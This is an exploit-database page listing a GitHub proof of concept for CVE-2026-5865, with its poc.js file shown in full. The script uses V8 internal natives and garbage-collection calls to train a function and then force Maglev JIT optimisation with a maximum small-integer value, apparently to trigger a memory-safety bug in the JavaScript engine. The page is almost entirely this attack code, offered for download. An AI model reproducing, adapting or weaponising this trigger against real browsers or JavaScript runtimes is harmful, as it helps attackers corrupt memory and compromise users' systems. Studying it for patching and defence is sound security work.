Exploit database

GH-6debb0545ad15249604ea110ae9b4518

5o1z/cve-2026-5865

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-5865

2 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files6
5o1z/cve-2026-5865Revision 15a6a1a8259d

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

poc.js

Suggested starting fileJavaScript · 527 bytes
const MAX_SMI = %MaxSmi();

let victim = { x: 1 };

function trigger(target, a, b, x) {
  let y = a ? x + 1 : 1;
  const t = y | 0;

  let z = b ? y : 1;

  target.x = z;
  return t;
}

for (let i = 0; i < 4; i++) {
  gc();
}

%PrepareFunctionForOptimization(trigger);

for (let i = 0; i < 2000; i++) {
  trigger(victim, true, true, i & 1023);
  trigger(victim, false, true, i & 1023);
  trigger(victim, true, false, i & 1023);
}

%OptimizeMaglevOnNextCall(trigger);

trigger(victim, true, true, MAX_SMI);
gc({type: "minor"});